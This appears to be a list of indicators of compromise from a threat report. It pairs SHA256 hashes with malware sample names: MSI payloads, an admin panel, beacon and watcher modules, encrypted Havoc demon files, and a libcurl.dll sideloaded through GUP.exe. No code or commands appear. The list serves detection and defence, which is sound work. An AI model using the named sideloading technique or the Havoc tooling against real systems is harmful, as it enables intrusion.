SHA256	bd1c005f35e4fd8c61dfa6f20d4c03e082c692e286a3b22dd642369c8d5e3564	MSI XaocMail-Phantom53 payload
SHA256	dbd252becd490ac47e16bff4391ab9e6237c4f7e81ab6784c57fa2eed751f477	MSI XaocMail-Phantom53 payload
SHA256	e9e57a57ee45b8faae2e47affd8cf3a6d0cc1283802108f7298ae1d2ef3b43f0	MSI XaocMail-Phantom53 payload
SHA256	d2d41b249905deae3bd6bcaa547872d747256a7dfa459b509d9db9de8f0ca29b	MSI XaocMail-Phantom53 payload
SHA256	ee5fa33b58d0f2772e091e23de9db24908d970000a88e39fd7d908f30f5e591a	MSI XaocMail-Phantom53 payload
SHA256	a972797cc1a4161f6e2841142b8cace9b781585f9a71b03aa79a9c051b817491	MSI XaocMail-Phantom53 payload
SHA256	47e853092511d9663196e9b36d563a0c3e92ee734f88675c4f375ffcfa5f3db8	MSI XaocMail-Phantom53 payload
SHA256	4efe003a54db8ffbaef6065270eacb0a59479ccc86941517ac7a33344e97bc1d	MSI XaocMail-Phantom53 payload
SHA256	9a2af4b6d9780e08c86ff35030ee1747ea11460cb1dffc868c48e7af6d626546	MSI XaocMail-Phantom53 payload
SHA256	efc4b8c1968c06e598a6f6f98398d44b488198b497291fe30fb792d696b6cb81	adminka
SHA256	4f656834e545c0b44922ce6d8952989c8c0859d8ae8b1f117c06ab07b047e2b4	beacon.pyd
SHA256	8ebb2bf61b48ae7abdcd674413bebd79b30ddd945854e175ba60d56c0a3adf54	watcher.pyd
SHA256	a4ad001c6900176eba43a747ae5d212db6fc78f7ef4e777f276cbbdf8099dbe8	demon.dat – Havoc encrypted
SHA256	dc57638cb90798835848a9dafec228bef7738def50f4f2db612862e07c5b6f8a	demon_dbg.dat – Havoc encrypted
SHA256	56582934901cce0b618d6a50e54c9db29bf2d444636bcd40b5975a765ecde538	gistfile1.txt – Previous version GUP.exe sideloading libcurl.dll
SHA256	009099ba10365b44bdb3ecc28dfcbed6a594ec0a0df86931620cdaac9843e611	update.zip – Previous version GUP.exe sideloading libcurl.dll
SHA256	0aff424f9a02eb9f429119c4caa05e85fc952603549d69849e745293d20235d6	libcurl.dll